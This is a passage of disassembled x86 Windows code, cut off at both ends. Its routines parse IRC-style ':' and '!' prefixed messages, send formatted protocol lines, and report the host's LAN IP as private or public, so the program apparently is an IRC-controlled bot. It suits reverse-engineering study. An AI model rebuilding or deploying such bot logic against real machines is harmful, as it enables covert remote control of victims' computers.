18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_444600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016B8 mov ecx, offset word_44AC5E mov byte ptr [esp+50h+arg_246C], bl call sub_40212B loc_410F72: ; CODE XREF: sub_410030+EF3j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_4E8E45 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C6C ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C60 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017EE push eax lea ecx, [esp+24h+arg_25C] call sub_401870 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_4493ED mov [ebp+16h], bl call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov edx, dword_4490C4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411080: ; CODE XREF: sub_410030+EC7j push offset asc_444600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E0 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411238 push offset asc_444C6C ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C60 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017EE push eax lea ecx, [esp+24h+arg_34] call sub_401870 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_444C5C ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD mov esi, dword_511B04 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411223 push offset asc_444C5C ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401870 push offset byte_448F30 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41120F push offset byte_448F30 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41120F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 cmp eax, ebx jz short loc_4111EB lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FDC loc_4111EB: ; CODE XREF: sub_410030+11A9j push offset byte_4E8E45 lea ecx, [esp+24h+arg_34] call sub_401B86 test eax, eax jnz short loc_41120F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E8E45 push edx call sub_401FDC loc_41120F: ; CODE XREF: sub_410030+1173j ; sub_410030+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411223: ; CODE XREF: sub_410030+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411238: ; CODE XREF: sub_410030+109Cj push offset asc_444600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F0 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4112BF push offset asc_444600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449100 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4112C4 loc_4112BF: ; CODE XREF: sub_410030+1238j mov [esp+20h+var_D], 1 loc_4112C4: ; CODE XREF: sub_410030+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C6C ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C60 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC5E call sub_401CE4 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444C6C ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C60 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 push offset asc_444C6C ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_444C60 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC5E mov byte ptr [esp+50h+arg_246C], 37h call sub_40212B lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_4113F7 ; --------------------------------------------------------------------------- loc_4113F0: ; CODE XREF: sub_410030+391j mov ecx, ebp call sub_401D20 loc_4113F7: ; CODE XREF: sub_410030+1D3j ; sub_410030+253j ... cmp [ebp+17h], bl jnz loc_410072 loc_411400: ; CODE XREF: sub_410030+3Cj ; sub_410030+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_410030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411930 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402072 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411930 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4119B0: ; CODE XREF: ___:loc_40115Ej ; ___:004016F4j push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4119C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4119C8: ; CODE XREF: ___:004119BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4119E0 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4119E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401979 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4119E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A60 proc near ; CODE XREF: sub_402072j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B20 proc near ; CODE XREF: sub_401979j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411B20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411BE0 proc near ; CODE XREF: sub_4019E2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401979 test [esp+4+arg_0], 1 jz short loc_411BF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_411BF8: ; CODE XREF: sub_411BE0+Dj mov eax, esi pop esi retn 4 sub_411BE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411C10 proc near ; CODE XREF: sub_401A19j var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411C10 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411C36 lea edi, [esi+11h] jmp short loc_411C38 ; --------------------------------------------------------------------------- loc_411C36: ; CODE XREF: sub_411C10+1Fj xor edi, edi loc_411C38: ; CODE XREF: sub_411C10+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019C4 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017EE lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_411C10 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C8C lea ebx, [esi+11h] jmp short loc_411C8E ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: ___:00411C85j xor ebx, ebx loc_411C8E: ; CODE XREF: ___:00411C8Aj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019C4 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017EE push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CEB lea ebx, [esi+11h] jmp short loc_411CED ; --------------------------------------------------------------------------- loc_411CEB: ; CODE XREF: ___:00411CE4j xor ebx, ebx loc_411CED: ; CODE XREF: ___:00411CE9j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017EE lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D40 lea ebx, [esi+11h] jmp short loc_411D42 ; --------------------------------------------------------------------------- loc_411D40: ; CODE XREF: ___:00411D39j xor ebx, ebx loc_411D42: ; CODE XREF: ___:00411D3Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017EE lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D95 lea ebx, [esi+11h] jmp short loc_411D97 ; --------------------------------------------------------------------------- loc_411D95: ; CODE XREF: ___:00411D8Ej xor ebx, ebx loc_411D97: ; CODE XREF: ___:00411D93j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019C4 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017EE push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DE8 lea ebx, [esi+11h] jmp short loc_411DEA ; --------------------------------------------------------------------------- loc_411DE8: ; CODE XREF: ___:00411DE1j xor ebx, ebx loc_411DEA: ; CODE XREF: ___:00411DE6j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019C4 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017EE lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E41 lea ebx, [esi+11h] jmp short loc_411E43 ; --------------------------------------------------------------------------- loc_411E41: ; CODE XREF: ___:00411E3Aj xor ebx, ebx loc_411E43: ; CODE XREF: ___:00411E3Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017EE lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E9F lea ebx, [esi+11h] jmp short loc_411EA1 ; --------------------------------------------------------------------------- loc_411E9F: ; CODE XREF: ___:00411E98j xor ebx, ebx loc_411EA1: ; CODE XREF: ___:00411E9Dj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017EE push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411EFA lea ebx, [esi+11h] jmp short loc_411EFC ; --------------------------------------------------------------------------- loc_411EFA: ; CODE XREF: ___:00411EF3j xor ebx, ebx loc_411EFC: ; CODE XREF: ___:00411EF8j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017EE lea edx, [esi+198h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411F55 lea ebx, [esi+11h] jmp short loc_411F57 ; --------------------------------------------------------------------------- loc_411F55: ; CODE XREF: ___:00411F4Ej xor ebx, ebx loc_411F57: ; CODE XREF: ___:00411F53j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017EE add esi, 13Ch push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4120B0 proc near ; CODE XREF: sub_401ACDj var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4120B0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+26Dh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+0A1h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4121B2 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017EE push eax mov ecx, esi call sub_4017EE mov edx, dword_4490C0 push eax push edx add edi, 0FFFFFFEFh push offset aSSS_1 ; "%s %s :%s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4121B2: ; CODE XREF: sub_4120B0+70j lea ecx, [edi+187h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412229 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_412229: ; CODE XREF: sub_4120B0+117j lea ecx, [edi+0FDh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122E4 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018B1 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412602 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4122E4: ; CODE XREF: sub_4120B0+18Ej lea ecx, [edi+12Bh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41238D push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490C4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_4120B0+249j lea ecx, [edi+1B5h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_4123FB push offset asc_444600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017EE mov edx, dword_4490F0 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E24 add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4123FB: ; CODE XREF: sub_4120B0+2F2j lea ecx, [edi+23Fh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41245D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E47 mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017EE push eax add edi, 0FFFFFFEFh push offset aS_3 ; "%s\r\n" push edi call sub_401E24 add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41245D: ; CODE XREF: sub_4120B0+360j lea ecx, [edi+1E3h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4124FD push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push 1 push offset asc_444600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014DD push eax mov ecx, esi call sub_4014DD xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4124FD: ; CODE XREF: sub_4120B0+3C2j lea ecx, [edi+159h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412602 push offset asc_444600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016B8 mov ebx, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490F4 push eax add edi, 0FFFFFFEFh push offset aSSSS ; "%s %s %s %s\r\n" push edi call sub_401E24 add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412602 ; --------------------------------------------------------------------------- loc_4125D9: ; CODE XREF: sub_4120B0+3Aj ; sub_4120B0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call near ptr 71AB9639h nop mov ecx, offset word_44AC5E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401541 loc_412602: ; CODE XREF: sub_4120B0+FDj ; sub_4120B0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_4120B0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412780 proc near ; CODE XREF: sub_401D4Dj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_412780 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_40142E xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h call near ptr 71AB951Eh nop mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5FADE9 add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_448F30 call sub_4015E1 push offset aLan ; "lan: " lea ecx, [esp+54h+var_24] call sub_401AAF lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401AAF push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016C7 push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF lea ecx, [esp+50h+var_34] push ecx call sub_401483 add esp, 4 test al, al jz short loc_41288B push offset aPrivate ; "[PRIVATE]" jmp short loc_412890 ; --------------------------------------------------------------------------- loc_41288B: ; CODE XREF: sub_412780+102j push offset aPublic ; "[PUBLIC]" loc_412890: ; CODE XREF: sub_412780+109j lea ecx, [esp+54h+var_24] call sub_401AAF mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_412780 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412940 proc near ; CODE 